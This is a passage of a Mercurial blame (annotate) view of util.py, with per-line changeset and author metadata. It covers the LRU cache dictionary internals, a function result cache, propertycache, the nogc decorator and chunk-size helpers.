45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1644 """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1645 head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1646 # C.next = D
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1647 node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1648 # D.prev = C
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1649 node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1650 # N.prev = E
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1651 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1652 # N.next = A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1653 # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1654 # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1655 node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1656 # E.next = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1657 node.next.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1658 # A.prev = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1659 node.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1660
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1661 self._head = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1662
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1663 def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1664 """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1665
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1666 The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1667 """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1668 head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1669 node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1670 head.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1671 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1672 node.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1673 head.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1674 self._size += 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1675 return node
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
1676
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1677 def _enforcecostlimit(self):
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1678 # This should run after an insertion. It should only be called if total
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1679 # cost limits are being enforced.
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1680 # The most recently inserted node is never evicted.
39569
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1681 if len(self) <= 1 or self.totalcost <= self.maxcost:
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1682 return
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1683
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1684 # This is logically equivalent to calling popoldest() until we
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1685 # free up enough cost. We don't do that since popoldest() needs
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1686 # to walk the linked list and doing this in a loop would be
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1687 # quadratic. So we find the first non-empty node and then
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1688 # walk nodes until we free up enough capacity.
39570
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1689 #
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1690 # If we only removed the minimum number of nodes to free enough
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1691 # cost at insert time, chances are high that the next insert would
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1692 # also require pruning. This would effectively constitute quadratic
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1693 # behavior for insert-heavy workloads. To mitigate this, we set a
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1694 # target cost that is a percentage of the max cost. This will tend
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1695 # to free more nodes when the high water mark is reached, which
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1696 # lowers the chances of needing to prune on the subsequent insert.
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1697 targetcost = int(self.maxcost * 0.75)
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1698
39569
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1699 n = self._head.prev
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1700 while n.key is _notset:
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1701 n = n.prev
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1702
39570
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1703 while len(self) > 1 and self.totalcost > targetcost:
39569
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1704 del self._cache[n.key]
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1705 self.totalcost -= n.cost
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1706 n.markempty()
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1707 n = n.prev
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1708
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1709
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1710 def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1711 '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1712 cache = {}
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
1713 order = collections.deque()
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
1714 if func.__code__.co_argcount == 1:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1715
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1716 def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1717 if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1718 if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
1719 del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1720 cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1721 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1722 order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1723 order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1724 return cache[arg]
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1725
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1726 else:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1727
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1728 def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1729 if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1730 if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
1731 del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1732 cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1733 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1734 order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1735 order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1736 return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1737
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1738 return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1739
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1740
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1741 class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1742 def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1743 self.func = func
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1744 self.name = func.__name__
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1745
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1746 def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1747 result = self.func(obj)
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
1748 self.cachevalue(obj, result)
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1749 return result
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1750
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
1751 def cachevalue(self, obj, value):
19951
d51c4d85ec23 spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents: 19852
diff changeset
1752 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845
a1237a4b437d repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 19461
diff changeset
1753 obj.__dict__[self.name] = value
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
1754
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1755
35014
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1756 def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1757 '''clear a cached property value, if one has been set'''
40689
475921a3028c py3: cast attribute name to sysstr in clearcachedproperty()
Yuya Nishihara <yuya@tcha.org>
parents: 40251
diff changeset
1758 prop = pycompat.sysstr(prop)
35014
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1759 if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1760 del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1761
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1762
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1763 def increasingchunks(source, min=1024, max=65536):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1764 """return no less than min bytes per chunk while data remains,
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1765 doubling min after each chunk until it reaches max"""
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1766
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1767 def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1768 if not x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1769 return 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1770 i = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1771 while x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1772 x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1773 i += 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1774 return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1775
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1776 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1777 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1778 for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1779 buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1780 blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1781 if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1782 if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1783 min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1784 nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1785 if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1786 min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1787 if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1788 min = max
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1789 yield b''.join(buf)
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1790 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1791 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1792 if buf:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1793 yield b''.join(buf)
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1794
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1795
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1796 def always(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1797 return True
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1798
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1799
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1800 def never(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1801 return False
724
1c0c413cccdd Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents: 705
diff changeset
1802
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1803
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1804 def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1805 """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1806
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1807 Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1808 container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1809 allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1810 no effect on when GCs are triggered, only on what objects the GC looks
23543
4dd8a6a1240d spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23495
diff changeset
1811 into. As a workaround, disable GC while building complex (huge)
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1812 containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1813
33799
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1814 This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1815 CPython's performance.
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1816 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1817
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1818 def wrapper(*args, **kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1819 gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1820 gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1821 try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1822 return func(*args, **kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1823 finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1824 if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1825 gc.enable()
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1826
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1827 return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1828
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1829
33799
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1830 if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1831 # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1832 nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1833
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1834
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1835 def pathto(root, n1, n2):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1836 """return the relative path from one place to another.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1837 root should use os.sep to separate directories
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1838 n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1839 n2 should use "/" to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1840 returns an os.sep-separated path.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1841
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1842 If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1843 relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1844 n2 should always be relative to root.
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1845 """
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1846 if not n1:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1847 return localpath(n2)
4230
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1848 if os.path.isabs(n1):
